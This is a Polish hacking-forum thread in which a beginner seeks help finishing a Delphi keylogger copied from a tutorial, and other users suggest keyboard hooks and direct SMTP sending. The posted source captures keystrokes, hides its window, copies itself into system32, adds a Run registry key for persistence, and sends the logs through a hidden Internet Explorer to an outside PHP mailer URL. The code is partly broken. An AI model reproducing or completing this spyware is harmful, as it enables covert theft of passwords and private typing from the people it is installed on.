delphi- dodawanie kodow klawiszy (albo klawiszów ;))

[lamiq_92]

witajcie szanowny uzytkownicy haker.com.pl . do nauki delphi zainspirowała mnie mnogosc kursów i prostota w jego obsłudze. szybko przebrnąłem przez pare z nich, tworząc a raczej kopiując pare prostych "aplikacji". Jednak w gruncie rzeczy bardziej interesuje mnie kwestia lamerstwa (mysle ze hakerstwo to duze naduzycie w moim przypadku) - rzecz jasna wszystko w celach czysto edukacyjnych. postanowilem zaczac od wg mnie prostej rzeczy, ktora potem okazała sie skomplikowana.
kwestia to:
http://hackme.pl/articles.html?article_id=162
postanowilem zaczac od podstawy czyli takiego czegos, otóz wszystko ładnie, dodałem komponent KeySpyXP i jego wraz z dwoma poprzednimi dodalem do formy, ale nigdzie nie moge znalezc tych trzech:
* IdSMTP [ Indy Clients ]
* IdAntiFreeze [ Indy Misc ]
* IdMessage [ Indy Misc ]

Jak cos to mam indy10 na kompie, ale szukalem w folderach i nigdzie nie ma takich komponentów..

i w sprawie przechwytywania klawiszy to przy komponencie memo mam dodac memo1.Lines.Add(key); tylko czy oni juz w tym keyspyXP dodali jakie sa kody wszystkich klawiszy tego to nie wie nikt i nie wiem czy mam je jeszcze dodac oddzielnie czy nie.
z gory dziekuje forumowiczom

 

[kanar123]

lepiej użyj globalnego hooka

a co do tych komponentów to ściągnij pakiet inty 9 lub 10

 

[lamiq_92]

Inne pytanie bo tamto bez sensu .
W tym tutorialu jest tylko funkcja FTP, jak mam zrobić mailową bo nie znam zbyt dobrych FTP chyba, ze bylibyscie mi w stanie cos polecic

 

[discovery44]

Chodzi Ci o konto FTP czy o jakiś komponent czy coś?
Jeśli konto to np. cba.pl a komponent to gugl > komponent ftp delphi

 

[lamiq_92]

5.Wpisujemy w "const":
Kod:

mail:string = '[email protected]'; //tu wpisz swój mail

temat:string = 'Keylogger by Mar_je';//tytuł maila

6.Do globalnego "var" dopisujemy:
Kod:

logi:string;//zmienna bedzie przechowywać logi

block:boolean;//zmienna do chwilowej blokady

Doszedlem do tych punktów i nie wiem gdzie mam to wpisać w "const"? Bylibyscie w stanie mi pomóc? To samo var, daje search i szukam "var" w global i nie ma.

 

[Klawisz95]

Możesz w prawie dowolnym miejscu.
Ja to robiłem zawsze pod sekcją var. NP:

var
  Form1: TForm1;
  Liczba: Integer;
  // Kolejne dowolne zmienne.

const // tutaj zaczynają się "stałe"
  mail = '[email protected]';
  temat = 'Keylogger by ... ';

// Resta kodu :)

Mam nadzieję że chociaż po krótce wyjaśniłem.
Ogółem - sekcję stałych (czy. const) musisz sobie sam dopisać.

 

[lamiq_92]

A, ok. dzieki za pomoc I to chyba tak samo jak z procedurami jest ze moge ją rozpocząc w dowolnym miejscu (oczywisice nie w innej procedurze) czy mi sie zdaje?

 

[lamiq_92]

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Registry, Activex, KeySpyXP, ExtCtrls, StdCtrls;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    Timer1: TTimer;
    KeySpyXP1: TKeySpyXP;
    procedure KeySpyXP1Key(Sender: TObject; key: String);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.KeySpyXP1Key(Sender: TObject; key: String);
begin
  memo1.lines.text:=memo1.lines.text+key; //dodaje klawisze do menu

if not block then //jeśli nie zablokowane

Memo1.Lines.Savetofile('C:WINDOWSsystem32GraphicCard.txt'); //zapisuje do pliku
end;

  procedure SendLogs;

var

**ie: IWebBrowser2;

**fx:longint;

**Flags, TargetFrameName, PostData, url, Headers: OleVariant;

begin

**url:='http://flash-site.cba.pl/mail_keylogger.php?odbiorca='+mail+'&temat='+temat+'&tekst='+logi;

**ie := CreateOleObject('InternetExplorer.Application') as IWebBrowser2; 

**//tworzy ukrytą przeglądarke (InternetExplorer).

**ie.Left := 0; //

**ie.Top := 0; //left i top, to położenie (w tym wypadku 0 i 0)

**ie.Width := 0; //wysokość 0

**ie.Height := 0; //szerokość 0

**ie.MenuBar := false; //?

**ie.AddressBar := false;//?

**ie.Resizable := false;//?

**ie.StatusBar := false;//?

**ie.ToolBar := 0;//?

**ie.Visible := false;//niewidzialne

**ie.Navigate2(url,Flags,TargetFrameName,PostData,Headers);//otwiera adres url

**ie.Visible := false;//miewidzialne

sleep(3000);//czeka 3 sekundy

ie.Quit;//wyłącza

end;

var
  Form1: TForm1;
  Liczba: Integer;
  // Kolejne dowolne zmienne.

const // tutaj zaczynają się "stałe"
mail:string = '[email protected]'; //tu wpisz swój mail

temat:string = 'Keylogger test';//tytuł maila

logi:string;//zmienna bedzie przechowywać logi

block:boolean;//zmienna do chwilowej blokady


procedure TForm1.FormCreate(Sender: TObject);
var

Rej : TRegistry;//rejestr

begin

SetTimer(5,timer1); //wpisujemy liczbę minut, co ile mają być wysyłane logi

block:=false; //zdejmujemy chwilową blokadę

application.ShowMainForm:=false;//chowamy formę

copyfile( PChar(paramstr(0)), 'c:windowssystem32keylogger.exe', true);

//kopiujemy (można zmienić ścieżkę)

Rej := TRegistry.Create;//otwiera rejestr i wpisuje do autostartu --->

Rej.RootKey := HKEY_CURRENT_USER;

Rej.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun', True);

Rej.WriteString(' Keylogger ', 'C:Windowssystem32keylogger.exe');

Rej.CloseKey;

Rej.Free; //zwalnia zmienną (rejestr)

end;
 //procedura do ustawienia czasu timera

procedure setTimer(inter:integer;timer:ttimer);

begin

inter*1000;//mnoży przez 1000

inter:=inter*60;//mnoży przez 60

timer.interval:=inter;//ustawia pomnożony czas
end;

end.

Wszystko wrzucone na formę, procedury i wszystko według instrukcji, AV wyłączony rzecz jasna , i pokazuje błąd przy "if not block then" i nie wiem o co chodzi

 

[Khalt]

Nie wiem... nie znam się na KeySpyXP, ale co to do cholery ma być "if not block then"?

I poza tym, niczego się nie nauczysz przez kopiowanie całych tutoriali...

 

[lamiq_92]

to znajdz cwaniaku tutorial, w którym sie nie kopiuje tylko samemu robi... kazdy polega na tym ze sie patrzysz i powtarzasz

 

[kanar123]

Prawda powtarzasz=uczysz się a nie kopiujesz...
A poza tym np. w video tutorialach nic nie skopiujesz

Najpierw opanuj podstawy, jeśli tego nie zrobisz to albo daj sobie spokój albo zleć komuś prace

 

[Khalt]

Kapuję - przepisać to co w tutorialu - wtedy rzeczywiście można coś z tego wynieść bo w jakiś sposób uczy się "rozumieć". Ale to kurna widać, że to jest żywcem ctrl+c, ctrl+v, bo nawet komentarze autora tutoriola zostawił. Litości =_=.

Nie wiem czy się powtórzę, ale ... kanar123 miał rację - KeySpyXP nie jest warty uwagi, zajmij się hook'ami.

 

[D.F.]

Wszystko można zrobić o wiele lżej (bez komponentów i zbędnego kodu).
Wiadomość E-mail wysłać samemu komunikując się z serwerem SMTP, a wciskane klawisze przechwytywać poprzez założenie haka (hook), jak już ktoś wcześniej pisał.

Przykład hook'a na klawiaturę:
keyboard_hook.zip